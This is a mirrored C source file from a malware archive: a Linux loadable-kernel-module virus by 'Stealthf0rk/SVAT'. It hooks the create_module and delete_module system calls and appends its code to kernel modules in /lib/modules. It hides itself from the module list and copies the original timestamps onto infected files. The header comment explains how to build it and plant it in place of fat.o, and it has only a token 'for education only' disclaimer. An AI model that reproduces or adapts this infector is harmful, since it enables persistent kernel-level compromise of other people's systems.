mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 22:45:27 +00:00
530 lines
14 KiB
C
530 lines
14 KiB
C
|
/* SVAT - Special Virii And Trojans - present:
|
||
|
*
|
||
|
* -=-=-=-=-=-=- the k0dy-projekt, virii phor unix systems -=-=-=-=-=-=-=-
|
||
|
*
|
||
|
* 0kay guys, here we go...
|
||
|
* As i told you with VLP I (we try to write an fast-infector)
|
||
|
* here's the result:
|
||
|
* a full, non-overwriting module infector that catches
|
||
|
* lkm's due to create_module() and infects them (max. 7)
|
||
|
* if someone calls delete_module() [even on autoclean].
|
||
|
* Linux is not longer a virii-secure system :(
|
||
|
* and BSD follows next week ...
|
||
|
* Since it is not needed 2 get root (by the module) you should pay
|
||
|
* attention on liane.
|
||
|
* Note the asm code in function init_module().
|
||
|
* U should assemble your /usr/src/.../module.c with -S and your CFLAG
|
||
|
* from your Makefile and look for the returnvalue from the first call
|
||
|
* of find_module() in sys_init_module(). look where its stored (%ebp for me)
|
||
|
* and change it in __asm__ init_module()! (but may it is not needed)
|
||
|
*
|
||
|
* For education only!
|
||
|
* Run it only with permisson of the owner of the system you are logged on!!!
|
||
|
*
|
||
|
* !!! YOU USE THIS AT YOUR OWN RISK !!!
|
||
|
*
|
||
|
* I'm not responsible for any damage you maybe get due to playing around with this.
|
||
|
*
|
||
|
* okay guys, you have to find out some steps without my help:
|
||
|
*
|
||
|
* 1. $ cc -c -O2 module.c
|
||
|
* 2. get length of module.o and patch the #define MODLEN in module.c
|
||
|
* 3. $ ???
|
||
|
* 4. $ cat /lib/modules/2.0.33/fs/fat.o >> module.o
|
||
|
* 5. $ mv module.o /lib/modules/2.0.33/fs/fat.o
|
||
|
* >AND NOW, IF YOU REALLY WANT TO START THE VIRUS:<
|
||
|
* 6. $ insmod ???
|
||
|
*
|
||
|
* This lkm-virus was tested on a RedHat 4.0 system with 80486-CPU and
|
||
|
* kernel 2.0.33. It works.
|
||
|
*
|
||
|
* greets (in no order...)
|
||
|
* <><><><><><><><><><><><>
|
||
|
*
|
||
|
* NetW0rker - tkx for da sources
|
||
|
* Serialkiller - gib mir mal deine eMail-addy
|
||
|
* hyperSlash - 1st SVAT member, he ?
|
||
|
* naleZ - hehehe
|
||
|
* MadMan - NetW0rker wanted me to greet u !?
|
||
|
* KilJaeden - TurboDebugger and SoftIce are a good choice !
|
||
|
*
|
||
|
* and all de otherz
|
||
|
*
|
||
|
* Stealthf0rk/SVAT <stealth@cyberspace.org>
|
||
|
*/
|
||
|
|
||
|
#define __KERNEL__
|
||
|
#define MODULE
|
||
|
#define MODLEN 6196
|
||
|
#define ENOUGH 7
|
||
|
#define BEGIN_KMEM {unsigned long old_fs=get_fs();set_fs(get_ds());
|
||
|
#define END_KMEM set_fs(old_fs);}
|
||
|
|
||
|
|
||
|
/* i'm not sure we need all of 'em ...*/
|
||
|
|
||
|
#include <linux/version.h>
|
||
|
#include <linux/mm.h>
|
||
|
#include <linux/unistd.h>
|
||
|
#include <linux/fs.h>
|
||
|
#include <linux/types.h>
|
||
|
#include <asm/errno.h>
|
||
|
#include <asm/string.h>
|
||
|
#include <linux/fcntl.h>
|
||
|
#include <sys/syscall.h>
|
||
|
#include <linux/module.h>
|
||
|
#include <linux/malloc.h>
|
||
|
#include <linux/kernel.h>
|
||
|
#include <linux/kerneld.h>
|
||
|
|
||
|
#define __NR_our_syscall 211
|
||
|
#define MAXPATH 30
|
||
|
/*#define DEBUG*/
|
||
|
#ifdef DEBUG
|
||
|
#define DPRINTK(format, args...) printk(KERN_INFO format,##args)
|
||
|
#else
|
||
|
#define DPRINTK(format, args...)
|
||
|
#endif
|
||
|
|
||
|
/* where the sys_calls are */
|
||
|
|
||
|
extern void *sys_call_table[];
|
||
|
|
||
|
/* tested only with kernel 2.0.33, but thiz should run under 2.x.x
|
||
|
* if you change the default_path[] values
|
||
|
*/
|
||
|
|
||
|
static char *default_path[] = {
|
||
|
".", "/linux/modules",
|
||
|
"/lib/modules/2.0.33/fs",
|
||
|
"/lib/modules/2.0.33/net",
|
||
|
"/lib/modules/2.0.33/scsi",
|
||
|
"/lib/modules/2.0.33/block",
|
||
|
"/lib/modules/2.0.33/cdrom",
|
||
|
"/lib/modules/2.0.33/ipv4",
|
||
|
"/lib/modules/2.0.33/misc",
|
||
|
"/lib/modules/default/fs",
|
||
|
"/lib/modules/default/net",
|
||
|
"/lib/modules/default/scsi",
|
||
|
"/lib/modules/default/block",
|
||
|
"/lib/modules/default/cdrom",
|
||
|
"/lib/modules/default/ipv4",
|
||
|
"/lib/modules/default/misc",
|
||
|
"/lib/modules/fs",
|
||
|
"/lib/modules/net",
|
||
|
"/lib/modules/scsi",
|
||
|
"/lib/modules/block",
|
||
|
"/lib/modules/cdrom",
|
||
|
"/lib/modules/ipv4",
|
||
|
"/lib/modules/misc",
|
||
|
0
|
||
|
};
|
||
|
|
||
|
static struct symbol_table my_symtab = {
|
||
|
#include <linux/symtab_begin.h>
|
||
|
X(printk),
|
||
|
X(vmalloc),
|
||
|
X(vfree),
|
||
|
X(kerneld_send),
|
||
|
X(current_set),
|
||
|
X(sys_call_table),
|
||
|
X(register_symtab_from),
|
||
|
#include <linux/symtab_end.h>
|
||
|
};
|
||
|
|
||
|
char files2infect[7][60 + 2];
|
||
|
|
||
|
/* const char kernel_version[] = UTS_RELEASE; */
|
||
|
|
||
|
int (*old_create_module)(char*, int);
|
||
|
int (*old_delete_module)(char *);
|
||
|
int (*open)(char *, int, int);
|
||
|
int (*close)(int);
|
||
|
int (*unlink)(char*);
|
||
|
|
||
|
int our_syscall(int);
|
||
|
int infectfile(char *);
|
||
|
int is_infected(char *);
|
||
|
int cp(struct file*, struct file*);
|
||
|
int writeVir(char *, char *);
|
||
|
int init_module2(struct module*);
|
||
|
char *get_mod_name(char*);
|
||
|
|
||
|
/* needed to be global */
|
||
|
|
||
|
void *VirCode = NULL;
|
||
|
|
||
|
/* install new syscall to see if we are already in kmem */
|
||
|
int our_syscall(int mn)
|
||
|
{
|
||
|
/* magic number: 40hex :-) */
|
||
|
if (mn == 0x40)
|
||
|
return 0;
|
||
|
else
|
||
|
return -ENOSYS;
|
||
|
}
|
||
|
|
||
|
int new_create_module(char *name, int size)
|
||
|
{
|
||
|
int i = 0, j = 0, retval = 0;
|
||
|
|
||
|
if ((retval = old_create_module(name, size)) < 0)
|
||
|
return retval;
|
||
|
/* find next free place */
|
||
|
for (i = 0; files2infect[i][0] && i < 7; i++);
|
||
|
if (i == 6)
|
||
|
return retval;
|
||
|
/* get name of mod from user-space */
|
||
|
while ((files2infect[i][j] = get_fs_byte(name + j)) != 0 && j < 60)
|
||
|
j++;
|
||
|
DPRINTK("in new_create_module: got %s as #%d\n", files2infect[i], i);
|
||
|
return retval;
|
||
|
}
|
||
|
|
||
|
/* we infect modules after sys_delete_module, to be sure
|
||
|
* we don't confuse the kernel
|
||
|
*/
|
||
|
|
||
|
int new_delete_module(char *modname)
|
||
|
{
|
||
|
static int infected = 0;
|
||
|
int retval = 0, i = 0;
|
||
|
char *s = NULL, *name = NULL;
|
||
|
|
||
|
|
||
|
retval = old_delete_module(modname);
|
||
|
|
||
|
if ((name = (char*)vmalloc(MAXPATH + 60 + 2)) == NULL)
|
||
|
return retval;
|
||
|
|
||
|
for (i = 0; files2infect[i][0] && i < 7; i++) {
|
||
|
strcat(files2infect[i], ".o");
|
||
|
if ((s = get_mod_name(files2infect[i])) == NULL) {
|
||
|
return retval;
|
||
|
}
|
||
|
name = strcpy(name, s);
|
||
|
if (!is_infected(name)) {
|
||
|
DPRINTK("try 2 infect %s as #%d\n", name, i);
|
||
|
infected++;
|
||
|
infectfile(name);
|
||
|
}
|
||
|
memset(files2infect[i], 0, 60 + 2);
|
||
|
} /* for */
|
||
|
/* its enough */
|
||
|
if (infected >= ENOUGH)
|
||
|
cleanup_module();
|
||
|
vfree(name);
|
||
|
return retval;
|
||
|
}
|
||
|
|
||
|
|
||
|
/* lets take a look at sys_init_module(), that calls
|
||
|
* our init_module() compiled with
|
||
|
* CFLAG = ... -O2 -fomit-frame-pointer
|
||
|
* in C:
|
||
|
* ...
|
||
|
* if((mp = find_module(name)) == NULL)
|
||
|
* ...
|
||
|
*
|
||
|
* is in asm:
|
||
|
* ...
|
||
|
* call find_module
|
||
|
* movl %eax, %ebp
|
||
|
* ...
|
||
|
* note that there is no normal stack frame !!!
|
||
|
* thats the reason, why we find 'mp' (return from find_module) in %ebp
|
||
|
* BUT only when compiled with the fomit-frame-pointer option !!!
|
||
|
* with a stackframe (pushl %ebp; movl %esp, %ebp; subl $124, %esp)
|
||
|
* you should find mp at -4(%ebp) .
|
||
|
* thiz is very bad hijacking of local vars and an own topic.
|
||
|
* I hope you do not get an seg. fault.
|
||
|
*/
|
||
|
|
||
|
__asm__
|
||
|
("
|
||
|
|
||
|
.align 16
|
||
|
.globl init_module
|
||
|
.type init_module,@function
|
||
|
|
||
|
init_module:
|
||
|
pushl %ebp /* ebp is a pointer to mp from sys_init_module() */
|
||
|
/* and the parameter for init_module2() */
|
||
|
call init_module2
|
||
|
popl %eax
|
||
|
xorl %eax, %eax /* all good */
|
||
|
ret /* and return */
|
||
|
.hype27:
|
||
|
.size init_module,.hype27-init_module
|
||
|
");
|
||
|
|
||
|
/* for the one with no -fomit-frame-pointer and no -O2 this should (!) work:
|
||
|
*
|
||
|
* pushl %ebx
|
||
|
* movl %ebp, %ebx
|
||
|
* pushl -4(%ebx)
|
||
|
* call init_module2
|
||
|
* addl $4, %esp
|
||
|
* xorl %eax, %eax
|
||
|
* popl %ebx
|
||
|
* ret
|
||
|
*/
|
||
|
|
||
|
/*----------------------------------------------*/
|
||
|
|
||
|
int init_module2(struct module *mp)
|
||
|
{
|
||
|
char *s = NULL, *mod = NULL, *modname = NULL;
|
||
|
long state = 0;
|
||
|
|
||
|
mod = vmalloc(60 + 2);
|
||
|
modname = vmalloc(MAXPATH + 60 + 2);
|
||
|
if (!mod || !modname)
|
||
|
return -1;
|
||
|
strcpy(mod, mp->name);
|
||
|
strcat(mod, ".o");
|
||
|
|
||
|
|
||
|
MOD_INC_USE_COUNT;
|
||
|
DPRINTK("in init_module2: mod = %s\n", mod);
|
||
|
|
||
|
/* take also a look at phrack#52 ...*/
|
||
|
mp->name = "";
|
||
|
mp->ref = 0;
|
||
|
mp->size = 0;
|
||
|
|
||
|
/* thiz is our new main ,look for copys in kmem ! */
|
||
|
if (sys_call_table[__NR_our_syscall] == 0) {
|
||
|
old_delete_module = sys_call_table[__NR_delete_module];
|
||
|
old_create_module = sys_call_table[__NR_create_module];
|
||
|
sys_call_table[__NR_our_syscall] = (void*)our_syscall;
|
||
|
sys_call_table[__NR_delete_module] = (void*)new_delete_module;
|
||
|
sys_call_table[__NR_create_module] = (void*)new_create_module;
|
||
|
memset(files2infect, 0, (60 + 2)*7);
|
||
|
register_symtab(&my_symtab);
|
||
|
}
|
||
|
register_symtab(0);
|
||
|
open = sys_call_table[__NR_open];
|
||
|
close = sys_call_table[__NR_close];
|
||
|
unlink = sys_call_table[__NR_unlink];
|
||
|
|
||
|
if ((s = get_mod_name(mod)) == NULL)
|
||
|
return -1;
|
||
|
modname = strcpy(modname, s);
|
||
|
load_real_mod(modname, mod);
|
||
|
vfree(mod);
|
||
|
vfree(modname);
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
int cleanup_module()
|
||
|
{
|
||
|
sys_call_table[__NR_delete_module] = old_delete_module;
|
||
|
sys_call_table[__NR_create_module] = old_create_module;
|
||
|
sys_call_table[__NR_our_syscall] = NULL;
|
||
|
DPRINTK("in cleanup_module\n");
|
||
|
vfree(VirCode);
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
/* returns 1 if infected;
|
||
|
* seek at position MODLEN + 1 and read out 3 bytes,
|
||
|
* if it is "ELF" it seems the file is already infected
|
||
|
*/
|
||
|
|
||
|
int is_infected(char *filename)
|
||
|
{
|
||
|
char det[4] = {0};
|
||
|
int fd = 0;
|
||
|
struct file *file;
|
||
|
|
||
|
DPRINTK("in is_infected: filename = %s\n", filename);
|
||
|
BEGIN_KMEM
|
||
|
fd = open(filename, O_RDONLY, 0);
|
||
|
END_KMEM
|
||
|
if (fd <= 0)
|
||
|
return -1;
|
||
|
if ((file = current->files->fd[fd]) == NULL)
|
||
|
return -2;
|
||
|
file->f_pos = MODLEN + 1;
|
||
|
DPRINTK("in is_infected: file->f_pos = %d\n", file->f_pos);
|
||
|
BEGIN_KMEM
|
||
|
file->f_op->read(file->f_inode, file, det, 3);
|
||
|
close(fd);
|
||
|
END_KMEM
|
||
|
DPRINTK("in is_infected: det = %s\n", det);
|
||
|
if (strcmp(det, "ELF") == 0)
|
||
|
return 1;
|
||
|
else
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
/* copy the host-module to tmp, write VirCode to
|
||
|
* hostmodule, and append tmp.
|
||
|
* then delete tmp.
|
||
|
*/
|
||
|
|
||
|
|
||
|
int infectfile(char *filename)
|
||
|
{
|
||
|
char *tmp = "/tmp/t000";
|
||
|
int in = 0, out = 0;
|
||
|
struct file *file1, *file2;
|
||
|
|
||
|
BEGIN_KMEM
|
||
|
in = open(filename, O_RDONLY, 0640);
|
||
|
out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
|
||
|
END_KMEM
|
||
|
DPRINTK("in infectfile: in = %d out = %d\n", in, out);
|
||
|
if (in <= 0 || out <= 0)
|
||
|
return -1;
|
||
|
file1 = current->files->fd[in];
|
||
|
file2 = current->files->fd[out];
|
||
|
if (!file1 || !file2)
|
||
|
return -1;
|
||
|
/* save hostcode */
|
||
|
cp(file1, file2);
|
||
|
BEGIN_KMEM
|
||
|
file1->f_pos = 0;
|
||
|
file2->f_pos = 0;
|
||
|
/* write Vircode [from mem] */
|
||
|
DPRINTK("in infetcfile: filenanme = %s\n", filename);
|
||
|
file1->f_op->write(file1->f_inode, file1, VirCode, MODLEN);
|
||
|
/* append hostcode */
|
||
|
cp(file2, file1);
|
||
|
close(in);
|
||
|
close(out);
|
||
|
unlink(tmp);
|
||
|
END_KMEM
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
int disinfect(char *filename)
|
||
|
{
|
||
|
|
||
|
char *tmp = "/tmp/t000";
|
||
|
int in = 0, out = 0;
|
||
|
struct file *file1, *file2;
|
||
|
|
||
|
BEGIN_KMEM
|
||
|
in = open(filename, O_RDONLY, 0640);
|
||
|
out = open(tmp, O_RDWR|O_TRUNC|O_CREAT, 0640);
|
||
|
END_KMEM
|
||
|
DPRINTK("in disinfect: in = %d out = %d\n",in, out);
|
||
|
if (in <= 0 || out <= 0)
|
||
|
return -1;
|
||
|
file1 = current->files->fd[in];
|
||
|
file2 = current->files->fd[out];
|
||
|
if (!file1 || !file2)
|
||
|
return -1;
|
||
|
/* save hostcode */
|
||
|
cp(file1, file2);
|
||
|
BEGIN_KMEM
|
||
|
close(in);
|
||
|
DPRINTK("in disinfect: filename = %s\n", filename);
|
||
|
unlink(filename);
|
||
|
in = open(filename, O_RDWR|O_CREAT, 0640);
|
||
|
END_KMEM
|
||
|
if (in <= 0)
|
||
|
return -1;
|
||
|
file1 = current->files->fd[in];
|
||
|
if (!file1)
|
||
|
return -1;
|
||
|
file2->f_pos = MODLEN;
|
||
|
cp(file2, file1);
|
||
|
BEGIN_KMEM
|
||
|
close(in);
|
||
|
close(out);
|
||
|
unlink(tmp);
|
||
|
END_KMEM
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
/* a simple copy routine, that expects the file struct pointer
|
||
|
* of the files to be copied.
|
||
|
* So its possible to append files due to copieng.
|
||
|
*/
|
||
|
|
||
|
int cp(struct file *file1, struct file *file2)
|
||
|
{
|
||
|
|
||
|
int in = 0, out = 0, r = 0;
|
||
|
char *buf;
|
||
|
|
||
|
if ((buf = (char*)vmalloc(10000)) == NULL)
|
||
|
return -1;
|
||
|
|
||
|
DPRINTK("in cp: f_pos = %d\n", file1->f_pos);
|
||
|
BEGIN_KMEM
|
||
|
while ((r = file1->f_op->read(file1->f_inode, file1, buf, 10000)) > 0)
|
||
|
file2->f_op->write(file2->f_inode, file2, buf, r);
|
||
|
file2->f_inode->i_mode = file1->f_inode->i_mode;
|
||
|
file2->f_inode->i_atime = file1->f_inode->i_atime;
|
||
|
file2->f_inode->i_mtime = file1->f_inode->i_mtime;
|
||
|
file2->f_inode->i_ctime = file1->f_inode->i_ctime;
|
||
|
END_KMEM
|
||
|
vfree(buf);
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
/* Is that simple: we disinfect the module [hide 'n seek]
|
||
|
* and send a request to kerneld to load
|
||
|
* the orig mod. N0 fuckin' parsing for symbols and headers
|
||
|
* is needed - cool.
|
||
|
*/
|
||
|
int load_real_mod(char *path_name, char *name)
|
||
|
{
|
||
|
int r = 0, i = 0;
|
||
|
struct file *file1, *file2;
|
||
|
int in = 0, out = 0;
|
||
|
|
||
|
DPRINTK("in load_real_mod name = %s\n", path_name);
|
||
|
if (VirCode)
|
||
|
vfree(VirCode);
|
||
|
VirCode = vmalloc(MODLEN);
|
||
|
if (!VirCode)
|
||
|
return -1;
|
||
|
BEGIN_KMEM
|
||
|
in = open(path_name, O_RDONLY, 0640);
|
||
|
END_KMEM
|
||
|
if (in <= 0)
|
||
|
return -1;
|
||
|
file1 = current->files->fd[in];
|
||
|
if (!file1)
|
||
|
return -1;
|
||
|
/* read Vircode [into mem] */
|
||
|
BEGIN_KMEM
|
||
|
file1->f_op->read(file1->f_inode, file1, VirCode, MODLEN);
|
||
|
close(in);
|
||
|
END_KMEM
|
||
|
disinfect(path_name);
|
||
|
r = request_module(name);
|
||
|
DPRINTK("in load_real_mod: request_module = %d\n", r);
|
||
|
return 0;
|
||
|
}
|
||
|
|
||
|
char *get_mod_name(char *mod)
|
||
|
{
|
||
|
int fd = 0, i = 0;
|
||
|
static char* modname = NULL;
|
||
|
|
||
|
if (!modname)
|
||
|
modname = vmalloc(MAXPATH + 60 + 2);
|
||
|
if (!modname)
|
||
|
return NULL;
|
||
|
BEGIN_KMEM
|
||
|
for (i = 0; (default_path[i] && (strstr(mod, "/") == NULL)); i++) {
|
||
|
memset(modname, 0, MAXPATH + 60 + 2);
|
||
|
modname = strcpy(modname, default_path[i]);
|
||
|
modname = strcat(modname, "/");
|
||
|
modname = strcat(modname, mod);
|
||
|
if ((fd = open(modname, O_RDONLY, 0640)) > 0)
|
||
|
break;
|
||
|
}
|
||
|
close(fd);
|
||
|
END_KMEM
|
||
|
if (!default_path[i])
|
||
|
return NULL;
|
||
|
return modname;
|
||
|
}
|